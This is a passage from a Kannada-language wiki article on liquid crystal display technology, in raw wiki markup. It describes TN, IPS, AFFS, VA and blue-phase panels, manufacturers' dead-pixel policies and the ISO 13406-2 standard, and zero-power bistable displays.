ಬೇಕಿರುವುದು ಚುರುಕು ಪ್ರತಿಕ್ರಿಯೆ ಸಮಯ ಹಾಗೂ ಉತ್ತಮ ಚಿತ್ರಗಳನ್ನು ಉತ್ಪಾದಿಸುವಂತಹ ಗುಣ. == ಕ್ರಿಯಾಶೀಲ ಮಾತೃಕೆ ತಂತ್ರಜ್ಞಾನಗಳು == [[ಚಿತ್ರ:Casio LCD screen for digital camera.jpg|thumb|right|200px|ಸೋನಿ ಸೈಬರ್-ಶಾಟ್ ಡಿಎಸ್‌ಸಿ-ಪಿ93ಎ ಡಿಜಿಟಲ್ ಕಾಂಪ್ಯಾಕ್ಟ್ ಕ್ಯಾಮೆರಾಗಳನ್ನು ಹೊಂದಿರುವ ಕ್ಯಾಸಿಯೊ 1.8 ಕಲರ್ ಟಿಎಫ್‌ಟಿ ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ ಡಿಸ್‌ಪ್ಲೆ‌.]] {{Main|Thin film transistor liquid crystal display|Active-matrix liquid crystal display}} === ಸುರುಳಿಯಾಕಾರದ ನೆಮ್ಯಾಟಿಕ್ (ಟಿಎನ್) === {{See also|twisted nematic field effect}} ಸುರುಳಿಯಾಕಾರದ ನೆಮ್ಯಾಟಿಕ್ ಪ್ರದರ್ಶನಗಳು ದ್ರವ ರೂಪ ಸ್ಫಟಿಕದ ಅಂಶಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತವೆ, ಅವು ಬೆಳಕನ್ನು ವರ್ಗಾಯಿಸುವ ಮೂಲಕ ಅನುಮತಿಸುವ ಕೋನಮಾನಗಳಲ್ಲಿ ಸುರುಳಿಯಾಕಾರದ ಮತ್ತು ಸುರುಳಿಯಾಕಾರವಲ್ಲದವುಗಳಾಗಿವೆ. ಟಿಎನ್ ದ್ರವರೂಪ ಸ್ಫಟಿಕ ವಿದ್ಯುತ್‌ಕೋಶಕ್ಕೆ ವಿದ್ಯುದ್ಬಲವಿಲ್ಲದೇ ಸಂಪರ್ಕ ಕಲ್ಪಿಸಿದಾಗ, ಬೆಳಕು ವಿದ್ಯುತ್‌ಕೋಶದ ಮೂಲಕ ವರ್ಗಾಯಿಸಲು ಕಿರಣ ತರಂಗವನ್ನು ನಿರ್ದಿಷ್ಟ ಮಾದರಿಯಲ್ಲಿ ಕಂಪಿಸುವಂತೆ ಮಾಡಿದೆ. ವಿದ್ಯುತ್‌ಬಲ ಸಂಪರ್ಕ ಕಲ್ಪಿಸಿದ ಅನುಪಾತದಲ್ಲಿ, ಎಲ್‌ಸಿ ವಿದ್ಯುತ್ಕೋಶಗಳು ಕಿರಣ ತರಂಗವನ್ನು ನಿರ್ದಿಷ್ಟ ಮಾದರಿಯಲ್ಲಿ ಕಂಪಿಸುವಂತೆ ಮಾಡುವುದನ್ನು ಬದಲಾಯಿಸಲು ಡಿಗ್ರಿಗೆ ಟ್ವಿಸ್ಟ್ ಮಾಡುತ್ತವೆ ಮತ್ತು ಬೆಳಕಿನ ಪಥವನ್ನು ಪ್ರತಿಬಂಧಿಸುತ್ತವೆ. ಸರಿಯಾಗಿ ಹೊಂದಿಕೆಯಾಗುವ ವಿದ್ಯುದ್ಬಲ ಮಟ್ಟವು ಹೆಚ್ಚಿನದಾಗಿ ಯಾವುದೇ ಗ್ರೇ (ಬೂದು ಬಣ್ಣ) ಮಟ್ಟ ಅಥವಾ ಪ್ರಸಾರಣೆಯನ್ನು ಸಾಧಿಸಬಲ್ಲದು. === ಇನ್‌-ಪ್ಲೇನ್ ಸ್ವಿಚಿಂಗ್ (ಐಪಿಎಸ್) === [[ಇನ್‌-ಪ್ಲೇನ್ ಸ್ವಿಚಿಂಗ್]] ಎಲ್‌ಸಿಡಿಯ ತಂತ್ರಜ್ಞಾನವಾಗಿದ್ದು, ಅದು ಅಡ್ಡ ಮಾರ್ಗದಲ್ಲಿ ದ್ರವರೂಪದ ಸ್ಫಟಿಕದ ವಿದ್ಯುತ್‌ಕೋಶಗಳನ್ನು ಸಾಲಾಗಿ ಜೋಡಿಸುತ್ತದೆ. ಈ ವಿಧಾನದಲ್ಲಿ ವಿದ್ಯುತ್ ವ್ಯಾಪ್ತಿಯು ಸ್ಫಟಿಕದ ಪ್ರತಿ ಕೊನೆಯ ಮೂಲಕ ಸಂಪರ್ಕ ಕಲ್ಪಿಸುತ್ತದೆ, ಆದರೆ ಇದಕ್ಕೆ ಗುಣಮಟ್ಟದ ತೆಳು-ಚಿತ್ರ ವಿದ್ಯುನ್ನಿಯಂತ್ರಕ(TFT) ಅಗತ್ಯವಾದ ಒಂದು ವಿದ್ಯುನ್ನಿಯಂತ್ರಕದ ಬದಲಾಗಿ ಪ್ರತಿಯೊಂದು ಚಿತ್ರಬಂಧಕ್ಕೂ ಎರಡು ವಿದ್ಯುನ್ನಿಯಂತ್ರಕಗಳನ್ನು ಅಗತ್ಯವಿದೆ. ಅಡಚಣೆಯಾಗುತ್ತಿರುವ ಅಧಿಕ ಪ್ರಸಾರಣೆ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ಈ ಪರಿಣಾಮಗಳು ಕಾಂತಿಯುತ ಹಿಂಬದಿ ಬೆಳಕನ್ನು ಅಗತ್ಯವಾಗಿಸುತ್ತವೆ, ಅದು ಅಧಿಕ ಶಕ್ತಿಯನ್ನು ಬಯಸುತ್ತದೆ, ಮಾಹಿತಿ ಪುಸ್ತಕ ಕಂಪ್ಯೂಟರ್‌ಗಳಿಗೆ ಪಡೆಯಲಾಗದ ಈ ವಿಧದ ಪ್ರದರ್ಶನವನ್ನು ರೂಪಿಸುತ್ತದೆ. === ಸುಧಾರಿತ ಅಂಚು ವ್ಯಾಪ್ತಿಯ ವಿದ್ಯುತ್ತಿನ ಕೀಲುಗುಂಡಿ (AFFS) === 2003 ರವರೆಗೂ ಫ್ರಿಂಜ್ ಫೀಲ್ಡ್ ಸ್ವಿಚಿಂಗ್‌‍ (FFS) ಎಂಬ ಹೆಸರಿನಿಂದ ಪರಿಚಯವಿದ್ದ,<ref>{{cite web | url = http://vertexlcd.com/technology.htm#point04 | title = AFFS & AFFS+ | publisher = Vertex LCD Inc. | work = Technology | access-date = 2010-02-04 | archive-date = 2016-05-18 | archive-url = http://arquivo.pt/wayback/20160518020420/http://vertexlcd.com/technology.htm#point04 | url-status = dead }}</ref> ಅಡ್ವಾನ್ಡ್ ಫ್ರಿನ್ಜ್ ಫೀಲ್ಡ್ ಸ್ವಿಚಿಂಗ್ ಐಪಿಎಸ್ ಅಥವಾ ಎಸ್-ಐಪಿಎಸ್‌ಗೆ ಹೋಲುವ ತಂತ್ರಜ್ಞಾನವಾಗಿದೆ, ಅದು ಉತ್ಕೃಷ್ಟ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿರುತ್ತದೆ ಮತ್ತು ಬಣ್ಣದ ವ್ಯಾಪ್ತಿಯು ಅಧಿಕ ಪ್ರಕಾಶಮಾನವನ್ನು ಹೋಲುತ್ತದೆ. ಎ‌ಎಫ್‌ಎಫ್‌ಎಸ್‌ ಅನ್ನು ಕೊರಿಯಾದ ಹೈಡೀಸ್ ಟೆಕ್ನಾಲಜೀಸ್ ಕೊ.ಲಿಮಿಟೆಡ್ ಅಭಿವೃದ್ಧಿಪಡಿಸಿದೆ.,(ಸಾಂಪ್ರದಾಯಿಕವಾಗಿ ಹುಂಡೈ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್, ಎಲ್‌ಸಿಡಿ ಟಾಸ್ಕ್ ಫೊರ್ಸ್ ಎನ್ನಲಾಗುತ್ತದೆ).<ref> {{cite journal | title = A Novel Outdoor Readability of Portable TFT-LCD with AFFS Technology | journal = SID Symposium Digest of Technical Papers | date = June 2006 | volume = 37 | issue = 1 | publisher = AIP | pages = 1079–1082 | author = K. H. Lee, H. Y. Kim, K. H. Park, S. J. Jang, I. C. Park, and J. Y. Lee }}</ref> ಎ‌ಎಫ್‌ಎಫ್‌ಎಸ್-ಅನ್ವಯಿಕ ಮಾಹಿತಿ ಪುಸ್ತಕ ಅಪ್ಲಿಕೇಷನ್‌ಗಳು ದಕ್ಷ ಪ್ರದರ್ಶನಕ್ಕಾಗಿ ತನ್ನ ಉನ್ನತ ವಿಸ್ತಾರ ನೋಡುವ ಕೋನವನ್ನು ನಿಭಾಯಿಸುವ ಸಂದರ್ಭದಲ್ಲಿ ಬಣ್ಣದ ವಿರೂಪವನ್ನು ಕಡಿಮೆ ಮಾಡುತ್ತವೆ. ವರ್ಣ ರೂಪಾಂತರ ಮತ್ತು ಮಾರ್ಗ ಬದಲಾವಣೆಯು ಬೆಳಕಿನ ಸೋರಿಕೆಗೆ ಕಾರಣವಾಗಿದೆ. ಅದು ಅತ್ಯುತ್ತಮವಾದ ಬಿಳಿ ಗ್ಯಾಮಟ್‌ನಿಂದ ಸರಿಯಾಗಿದೆ. ಅದು ಕೂಡ ಬಿಳಿ/ಬೂದುಬಣ್ಣದ ಮರುಉತ್ಪಾದನೆಯನ್ನು ವೃದ್ಧಿಸುತ್ತದೆ. 2004ರಲ್ಲಿ ಹೈಡೀಸ್ ಟೆಕ್ನಾಲಜೀಸ್ ಕೊ.ಲಿಮಿಟೆಡ್ ಜಪಾನಿನ ಹಿಟಾಚಿ ಡಿಸ್‌ಪ್ಲೇಸ್‌ಗೆ ಎ‌ಎಫ್‌ಎಫ್‌ಎಸ್ ಹಕ್ಕುಪತ್ರದ ಪರವಾನಗಿ ನೀಡಿತು. ಹಿಟಾಚಿ ತನ್ನ ಉತ್ಪನ್ನ ಉದ್ಯಮದಲಿ ಅಧಿಕ ಕೊನೆ ಪ್ಯಾನಲ್‌ಗಳನ್ನು ಉತ್ಪಾದಿಸಲು ಎ‌ಎಫ್‍ಎಫ್‌ಎಸ್ ಅನ್ನು ಬಳಸಿಕೊಂಡಿತು. 2006ರಲ್ಲಿ, ಹೈಡೀಸ್ ಸಾನ್ಯೊ ಎಪ್ಸನ್ ಇಮೇಜಿಂಗ್ ಡಿವೈಸಸ್ ಕಾರ್ಪೊರೇಷನ್‌ಗೆ ಸಹ ಎ‌ಎಫ್‌ಎಫ್‌ಎಸ್ ಪರವಾನಗಿ ನೀಡಿತು. ಹೈಡೀಸ್ ಎ‌ಎಫ್‌ಎಫ್‌ಎಸ್+ ಅನ್ನು ಸಹ ಪರಿಚಯಿಸಿತು, ಅದು 2007ರಲ್ಲಿ ಹೊರಾಂಗಣ ಸುಲಭಗ್ರಾಹ್ಯವನ್ನು ಅಭಿವೃದ್ಧಿ ಪಡಿಸಿತ್ತು. === ಲಂಬವಾದ ಜೋಡಣೆ (VA)=== ಲಂಬವಾಗಿ ಜೋಡಿಸಲ್ಪಟಿರುವ ಎಲ್‌ಸಿ ಪ್ರರ್ದಶಕಗಳಲ್ಲಿ ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ ವಸ್ತುಗಳು ಸ್ವಾಭಾವಿಕವಾಗಿಯೇ ಲಂಬ ಸ್ಥಿತಿಯಲ್ಲಿರುತ್ತವೆ. ಇವು ಹೆಚ್ಚು ವಿದ್ಯುನ್ನಿಯಂತ್ರಕಗಳ ಅಗತ್ಯವನ್ನು ತೆಗೆದುಹಾಕಲಾಗುವುದು.(ಐಪಿಎಸ್‌ನಲ್ಲಿರುವಂತೆ). ಯಾವುದೇ ವಿದ್ಯುತ್ ಶಕ್ತಿಯ ಪ್ರಮಾಣವನ್ನು ಆನ್ವಯಿಕೆ ಮಾಡದಿದ್ದಾಗ ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ ಕೋಶಗಳು(ಸೇಲ್ಸ್) ವಸ್ತುವಿಗೆ ಲಂಬವಾಗಿಯೇ ನಿಂತು ಕಪ್ಪು ಪ್ರರ್ದಶಕವನ್ನು ಸೃಷ್ಟಿಸುತ್ತದೆ. ಆದರೆ ವಿದ್ಯುತ್ ಶಕ್ತಿಯ ಪ್ರಮಾಣವನ್ನು ಆನ್ವಯಿಕೆ ಮಾಡಿದಾಗ ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ ಕೋಶಗಳು (ಸೇಲ್ಸ್)ಸಮತಲ ಸ್ಥಿತಿಗೆ ಸ್ಥಳಾಂತರಗೊಂಡು ಆ ವಸ್ತುವಿಗೆ ಸಮಾನಾಂತರವಾಗಿ ಅದರ ಮುಖಾಂತರ ಬೆಳಕು ಹಾದುಹೋಗಲು ಪ್ರವೇಶ ನೀಡುತ್ತದೆ ಮತ್ತು ಬಿಳಿ ಪ್ರರ್ದಶಕವನ್ನು ಸೃಷ್ಟಿಸುತ್ತದೆ. ಲಂಬವಾಗಿ ಜೋಡಿಸಲ್ಪಟಿರುವ(VA) ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ ಪ್ರದರ್ಶಕಗಳು ಐಪಿಎಸ್ ಫಲಕಗಳು ಒದಗಿಸುವ ಅನುಕೂಲತೆಗಳನ್ನೇ ಹೊಂದಿವೆ. ನಿರ್ದಿಷ್ಟವಾಗಿ ಹೇಳುವುದಾದರೆ, ಅದು ಉತ್ತಮವಾದ ನೋಡುವ ದೃಷ್ಟಿಕೋನ ಮತ್ತು ಉತ್ತಮವಾದ ಕಪ್ಪು ಮಟ್ಟ.{{Citation needed|date=July 2009}} === ನೀಲಿ ಹಂತದ ರೀತಿ === {{Main|Blue Phase Mode LCD}} ನೀಲಿ ಹಂತದ ಎಲ್‌ಸಿಡಿಗಳಿಗೆ ಎಲ್‌ಸಿ ಮೇಲ್ಪದರದ ಅಗತ್ಯವಿಲ್ಲ. ನೀಲಿ ಹಂತದ ಎಲ್‌ಸಿಡಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತೆ, ಇವು ನೂತನವಾಗಿ ಮಾರುಕಟ್ಟೆಗೆ ಕಾಲಿಟ್ಟಿರುವಂತಹವು ಮತ್ತು ಬಹಳ ದುಬಾರಿಯೂ ಕೂಡ. ಏಕೆಂದರೆ ಇವುಗಳ ಉತ್ಪಾದನೆಯ ಕಡಿಮೆ ಇದೆ. ಅವರು ಸಾಮಾನ್ಯ ಎಲ್‌ಸಿಡಿಗಳಿಗಿಂತ ಹೆಚ್ಚು ರಿಫ್ರೆಶ್ ಮೌಲ್ಯವನ್ನು ಒದಗಿಸುತ್ತವೆ. ಆದರೆ ಸಾಮಾನ್ಯ ಎಲ್‌ಸಿಡಿಗಳು ತಯಾರಿಸಲು ಇನ್ನೂ ಅಗ್ಗವಾಗಿವೆ ಮತ್ತು ವಾಸ್ತವಿಕವಾಗಿ ಉತ್ತಮವಾದ ಬಣ್ಣಗಳು ಮತ್ತು ಶುದ್ಡವಾದ(ಹರಿತವಾದ)ಚಿತ್ರವನ್ನು ನಿಡುತ್ತವೆ.{{Citation needed|date=February 2009}} == ಗುಣಮಟ್ಟ ನಿಯಂತ್ರಣ == ಕೆಲವು ಎಲ್‌ಸಿ‌ಡಿ ಪ್ಯಾನಲ್‌‌ಗಳು, ಪಿಕ್ಸೆಲ್‌ಗಳನ್ನು ಶಾಶ್ವತವಾಗಿ ಬಿಳುಪು ಅಥವಾ ಕಪ್ಪು ಮಾಡಿಬಿಡುವ ದೋಷಯುಕ್ತ [[ಟ್ರಾನ್ಸಿಸ್ಟರ್‌]]ಗಳನ್ನು ಹೊಂದಿರುತ್ತವೆ. ಇವನ್ನು ಕ್ರಮವಾಗಿ [[ಸ್ಟಕ್ ಪಿಕ್ಸೆಲ್‌‌]]ಗಳು ಅಥವಾ [[ಡೆಡ್ ಪಿಕ್ಸೆಲ್‌‌]]ಗಳು ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. [[ಸಂಯೋಜಿತ ವಿದ್ಯುತ್‌ ಪಥ ಇಂಟೆಗ್ರೇಟೆಡ್‌ ಸರ್ಕ್ಯೂಟ್‌]]ಗಳಂತಲ್ಲದೆ, ಕೆಲವು ದೋಷಯುಕ್ತ ಪಿಕ್ಸೆಲ್‌ಗಳಿದ್ದರೂ ಸಹ ಎಲ್‌ಸಿಡಿ‌ ಪ್ಯಾನಲ್‌ಗಳನ್ನು ಉಪಯೋಗಿಸಬಹುದು. ಕೇವಲ ಕೆಲವು ದೋಷಯುಕ್ತ ಪಿಕ್ಸೆಲ್‌ಗಳು ಇದ್ದ ಮಾತ್ರಕ್ಕೆ ಎಲ್‌ಸಿಡಿ ಪ್ಯಾನಲ್‌ಅನ್ನೇ ಹಿಂದಕ್ಕೆ ತಳ್ಳುವುದು ಆರ್ಥಿಕ ದೃಷ್ಟಿಯಿಂದ ತಪ್ಪು ಎಂದು ಹೇಳುವವರೂ ಇದ್ದಾರೆ, ಆದರೆ ಇದನ್ನು ಈವರೆಗೆ ಸಾಬೀತು ಮಾಡಿಲ್ಲ. ವಿವಿಧ ಉತ್ಪಾದಕರ, ಸ್ವೀಕಾರಾರ್ಹ ದೋಷಯುಕ್ತ ಪಿಕ್ಸೆಲ್‌ ಸಂಖ್ಯೆಯ ಬಗೆಗಿನ ನೀತಿಯಲ್ಲಿ ಬಹಳ ವ್ಯತ್ಯಾಸಗಳಿವೆ. ಒಂದು ಹಂತದಲ್ಲಿ, ಕೊರಿಯಾದಲ್ಲಿ ಮಾರಾಟವಾಗುವ ಎಲ್‌ಸಿಡಿ‌ ಮಾನಿಟರ್‌ಗಳಿಗೆ ಸ್ಯಾಮ್‌ಸಂಗ್ ಶೂನ್ಯ-ಸಹನೆ (ಜೀರೊ ಟಾಲರೆನ್ಸ್) ನೀತಿಯನ್ನು ಹಿಡಿಯಿತು.<ref>{{cite web |title=Samsung to Offer 'Zero-PIXEL-DEFECT' Warranty for LCD Monitors |publisher=Forbes.com |date=December 30, 2004 |url=http://www.forbes.com/infoimaging/feeds/infoimaging/2004/12/30/infoimagingasiapulse_2004_12_30_ix_9333-0197-.html |accessdate=2007-09-03 |archive-date=2007-08-20 |archive-url=https://web.archive.org/web/20070820004737/http://www.forbes.com/infoimaging/feeds/infoimaging/2004/12/30/infoimagingasiapulse_2004_12_30_ix_9333-0197-.html |url-status=dead }}</ref> ಸದ್ಯ ಸ್ಯಾಮ್‌ಸಂಗ್‌ ಹೆಚ್ಚು ನಿರ್ಬಂಧನೆಗಳಿಲ್ಲದ [[ಐಎಸ್‌ಒ 13406-2 (ISO 13406-2)]] ನಿರ್ದಿಷ್ಟಮಾನವನ್ನು ಬಳಸುತ್ತದೆ.<ref>{{cite web |title=What is Samsung's Policy on dead pixels? |publisher=Samsung |date=February 5, 2005 |url=http://erms.samsungelectronics.com/customer/uk/jsp/faqs/faqs_view.jsp?SITE_ID=31&PG_ID=16&AT_ID=17628&PROD_SUB_ID=546 |accessdate=2007-08-03 |archive-date=2007-03-04 |archive-url=https://web.archive.org/web/20070304043758/http://erms.samsungelectronics.com/customer/uk/jsp/faqs/faqs_view.jsp?SITE_ID=31&PG_ID=16&AT_ID=17628&PROD_SUB_ID=546 |url-status=dead }}</ref> ಬೇರೆ ಕಂಪೆನಿಗಳು 11 ಡೆಡ್ ಪಿಕ್ಸೆಲ್‌ಗಳನ್ನು ಒಪ್ಪಿಕೊಳ್ಳುತ್ತವೆಂದು ತಿಳಿದುಬಂದಿದೆ.<ref>{{cite web |title=Display (LCD) replacement for defective pixels - ThinkPad |publisher=Lenovo |date=June 25, 2007 |url=http://www-307.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-4U9P53 |accessdate=2007-07-13 |archive-date=2006-12-31 |archive-url=https://web.archive.org/web/20061231032635/http://www-307.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-4U9P53 |url-status=dead }}</ref> ಉತ್ಪಾದಕರಿಗೂ ಗ್ರಾಹಕರಿಗೂ ಆಗಾಗ ಡೆಡ್ ಪಿಕ್ಸೆಲ್‌ಗಳ ನೀತಿಯ ಬಗೆಗೆ ಬಿಸಿ ಚರ್ಚೆ ನಡೆಯುತ್ತದೆ. ದೋಷಗಳ ಸ್ವೀಕಾರವನ್ನು ಕ್ರಮಗೊಳಿಸಲು ಮತ್ತು ಅಂತಿಮ-ಗ್ರಾಹಕರನ್ನು ರಕ್ಷಿಸಲು, ಐಎಸ್‌ಒ ಕಂಪೆನಿಯು [[ಐಎಸ್‌ಒ 13406-2]] ನಿರ್ದಿಷ್ಟಮಾನವನ್ನು ಬಿಡುಗಡೆಮಾಡಿತು.[46] ಆದರೂ, ಪ್ರತಿಯೊಂದು ಎಲ್‌ಸಿಡಿ ಉತ್ಪಾದಕರು ಐ‍ಎಸ್‌ಒ ನಿರ್ದಿಷ್ಟಮಾನಕ್ಕೆ ಬದ್ಧರಾಗಿರುತ್ತಾರೆಂದು ಹೇಳಲಾಗುವುದಿಲ್ಲ, ಮತ್ತು ಅನೇಕ ವೇಳೆ ಐಎಸ್‌ಒ ನಿರ್ದಿಷ್ಟಮಾನವನ್ನು ಬೇರೆ ಬೇರೆ ರೀತಿಯಲ್ಲಿ ಅರ್ಥೈಸಿಕೊಳ್ಳಲಾಗುತ್ತದೆ. ಬಹುತೇಕ ಸಂಯೋಜಿತ ವಿದ್ಯುತ್‌ ಪಥಗಳಿಗಿಂತ ಎಲ್‌ಸಿಡಿ‌ ಪ್ಯಾನಲ್‌ಗಳು, ತಮ್ಮ ದೊಡ್ಡ ಗಾತ್ರದ ಕಾರಣ, ದೋಷಯುಕ್ತವಾಗಿರುವ ಸಾಧ್ಯತೆ ಹೆಚ್ಚು. ಇದಕ್ಕೆ ಉದಾಹರಣೆಯೆಂದರೆ, ಒಂದು 300&nbsp;ಎಂಎಂ ಎಸ್‌ವಿಜಿಎ (SVGA) ಎಲ್‌ಸಿಡಿ 8 ದೋಷಗಳನ್ನು ಹೊಂದಿರುತ್ತದೆ ಮತ್ತು ಒಂದು 150&nbsp;ಎಂಎಂ ವೇಫರ್‌ ಕೇವಲ 3 ದೋಷಗಳನ್ನು ಹೊಂದಿರುತ್ತದೆ. ಆದರೂ, 137 ರಲ್ಲಿ 134 ವೇಫರ್‌ಗಳ ಮೇಲೆ ಸಾಯುವುದು ಒಪ್ಪಿಗೆಯಾಗುವಂತದ್ದು, ಮತ್ತು ಎಲ್‌ಸಿಡಿ‌ ಪ್ಯಾನಲ್‌ಗಳನ್ನು ನಿರಾಕರಿಸಿದಾಗ ಉತ್ಪನ್ನವು 0% ಆಗಿರುತ್ತದೆ. ಉತ್ಪಾದಕರ ನಡುವಿನ ಸ್ಪರ್ಧೆಯ ಕಾರಣ ಗುಣಮಟ್ಟ ನಿಯಂತ್ರಣ ಬಹುಮಟ್ಟಿಗೆ ಸುಧಾರಣೆಯಾಗಿದೆ. ಒಂದು ಎಸ್‌ವಿಜಿಎ ಎಲ್‌ಸಿಡಿ ಪ್ಯಾನಲ್‌ನಲ್ಲಿ 4 ದೋಷಗಳಿದ್ದ ಪಿಕ್ಸೆಲ್‌ಗಳಿದ್ದರೆ ಅದನ್ನು ದೋಷಪೂರ್ಣ ಎಂದು ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಗ್ರಾಹಕರು ಅದರ ಬದಲಿಗೆ ಹೊಸದನ್ನು ಕೇಳಬಹುದು. ಕೆಲವು ಉತ್ಪಾದಕರು, ಮುಖ್ಯವಾಗಿ ಎಲ್‌ಜಿ ಮುಂತಾದ ಅತಿ ದೊಡ್ಡ ಎಲ್‌ಸಿಡಿ ಪ್ಯಾನಲ್‌ಗಳ ಉತ್ಪಾದಕರು ಇರುವ ದಕ್ಷಿಣ ಕೊರಿಯಾದಲ್ಲಿ, "ಜೀರೊ ಡಿಫೆಕ್ಟಿವ್‌ ಪಿಕ್ಸೆಲ್‌ ಗ್ಯಾರಂಟಿ"ಯನ್ನು ಹೊಂದಿದ್ದಾರೆ, ಇದು "ಎ" ಮತ್ತು "ಬಿ" ದರ್ಜೆಯ ಪ್ಯಾನಲ್‌ಗಳನ್ನು ನಿರ್ಧರಿಸುವ ಹೆಚ್ಚುವರಿ ಪರೀಕ್ಷಾ ಪ್ರಕ್ರಿಯೆ. ಅನೇಕ ಉತ್ಪಾದಕರು, ಕೇವಲ ಒಂದು ದೋಷಯುಕ್ತ ಪಿಕ್ಸೆಲ್‌ ಇದ್ದರೂ ಬದಲಾಯಿಸಿ ಕೊಡುತ್ತಾರೆ. ಅಂತಹ ಗ್ಯಾರಂಟಿಗಳು ಇಲ್ಲದೇ ಇರುವ ಕಡೆಯೂ, ದೋಷವನ್ನು ಗುರುತಿಸುವುದು ಮುಖ್ಯ. ಕೆಲವೇ ದೋಷಗಳಿರುವ ಪಿಕ್ಸೆಲ್‌ಗಳಿದ್ದರೂ, ಅವು ಒಂದಕ್ಕೊಂದು ಹತ್ತಿರವಿದ್ದರೆ ಸ್ವೀಕಾರಾರ್ಹವಾಗುವುದಿಲ್ಲ. ದೋಷಯುಕ್ತ ಪಿಕ್ಸೆಲ್‌ಗಳು ದೃಶ್ಯಪ್ರದೇಶದ ಮಧ್ಯಭಾಗದಲ್ಲಿದ್ದರೆ ತಮ್ಮ 'ಬದಲಿ’ ನೀತಿಯನ್ನು ಸಡಿಲಗೊಳಿಸಬಹುದು. ಎಲ್‍ಸಿಡಿ ಪ್ಯಾನಲ್‌ಗಳು ''ಕ್ಲೌಡಿಂಗ್‌'' (ಅಥವಾ ''[[ಮುರಾ]]'' ) ಎನ್ನುವ ದೋಷವನ್ನು ಕೂಡ ಹೊಂದಿರುತ್ತದೆ. ಇದು [[ಪ್ರಭಾವಳಿ]]ಯಲ್ಲಿನ ಅಸಮ ಕಲೆಗಳ ಬದಲಾವಣೆಯನ್ನು ವಿವರಿಸುತ್ತದೆ. ಇದು ಪ್ರದರ್ಶಿಸಿದ ದೃಶ್ಯಗಳ ಕತ್ತಲೆ ಅಥವಾ ಕಪ್ಪು ಪ್ರದೇಶಗಳಲ್ಲಿ ಎದ್ದು ಕಾಣುತ್ತದೆ.0/} == ವಿದ್ಯುತ್-ಶೂನ್ಯ (ಬಿಸ್ಟಬಲ್) ಪ್ರದರ್ಶನಗಳು == {{See also|Ferro Liquid Display}} ಜೆನಿಥಲ್ ಬಿಸ್ಟೆಬಲ್ ಡಿವೈಸ್ (ಝಡ್ ಬಿಡಿ),ವಿದ್ಯುತ್ ಇಲ್ಲದೆಯೂ ಚಿತ್ರವನ್ನು ಪರದೆಯ ಮೇಲೆ ಉಳಿಸಿಕೊಳ್ಳುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿರುತ್ತದೆ,ಇದನ್ನು [[ಕ್ವಿನೆಟಿಖ್]] (ಹಿಂದಿನ [[ಡೆರಾ]]) ಅವರು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದರು. ಚಿತ್ರವನ್ನು ಬದಲಾಯಿಸಲು ಮಾತ್ರ ವಿದ್ಯುತ್ತಿನ ಅವಶ್ಯಕತೆ ಇರುತ್ತದೆ ಮತ್ತು ಸ್ಫಟಿಕವು (ಕಪ್ಪು ಮತ್ತು ಬಿಳುಪು) ಎರಡರಲ್ಲಿ ಒಂದು ಸ್ಥಿತಿಯಲ್ಲಿ ಸ್ಥಿರವಾಗಿ ಉಳಿದಿರುತ್ತದೆ. ಝಡ್‌ಬಿಡಿ ಡಿಸ್‌ಪ್ಲೇಯ್ಸ್ QinetiQ ನ ಸ್ಪಿನ್‌ಆಫ್ ಸಂಸ್ಥೆಯಾಗಿದ್ದು, ಇದು ಬೂದು ಬಣ್ಣದ ಹಾಗೂ ವರ್ಣರಂಜಿತ ಝಡ್‌ಬಿಡಿ ಉಪಕರಣಗಳನ್ನು ತಯಾರಿಸುತ್ತದೆ. ನೆಮೊಪ್ಟಿಕ್ ಎನ್ನುವ ಒಂದು ಫ್ರೆಂಚ್ ಸಂಸ್ಥೆ 2007<ref>http://www.nemoptic.com/content.php?section=technology</ref> ರಿಂದ ಸೀಕೊ ಸಂಸ್ಥೆಯ ಜೊತೆಗೂಡಿ ಎಲ್‌ಸಿಡಿ ತಂತ್ರಜ್ಞಾನ ಬಳಸಿ ಬಿನೆಮ್ ವಿದ್ಯುತ್-ಶೂನ್ಯ ಉಪಕರಣವನ್ನು ಅಧಿಕ ಸಂಖ್ಯೆಯಲ್ಲಿ ಉತ್ಪಾದಿಸುತ್ತಿದೆ. ಈ ತಂತ್ರಜ್ಞಾನದ ಮೂಲ ಉದ್ದೇಶ ಇಲೆಕ್ಟ್ರಾನಿಕ್ ಶೀರ್ಷಿಕೆಗಳಲ್ಲಿ,ಇ-ಪುಸ್ತಕಗಳಲ್ಲಿ, ಇ-ಕಾಗದ ಪತ್ರಗಳಲ್ಲಿ, ಇ-ಪತ್ರಿಕೆಗಳಲ್ಲಿ, ಇ-ನಿಘಂಟುಗಳಲ್ಲಿ, ಉದ್ಯಮ ಸಂವೇದಕಗಳಲ್ಲಿ, ಅಲ್ಟ್ರಾ ಮೊಬೈಲ್ ಉಪಕರಣಗಳಲ್ಲಿ ಹಾಗೂ ಇನ್ನೂ ಹಲವು ಕಡೆ ಇದನ್ನು ಬಳಸುವುದನ್ನು ಒಳಗೊಂಡಿದೆ. ವಿದ್ಯುತ್-ಶೂನ್ಯ ಎಲ್‌ಸಿಡಿ ಉಪಕರಣವು [[ಇಲೆಕ್ಟ್ರಾನಿಕ್ ಕಾಗದದ]] ಒಂದು ಭಾಗವಾಗಿದೆ. ಕೆಂಟ್ ಡಿಸ್ ಪ್ಲೆಯ್ಸ್ ಕೂಡ ಪಾಲಿಮರ್ ಸ್ಟೆಬಿಲೈಸಡ್ ಕೊಲೆಸ್ಟರಿಕ್ ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ(ಸಿಎಚ್ ಎಲ್‌ಸಿಡಿ) ಬಳಸಿ ವಿದ್ಯುತ್-ಶೂನ್ಯ ಉಪಕರಣವನ್ನು ವೃದ್ಧಿಪಡಿಸುತ್ತಿದೆ. 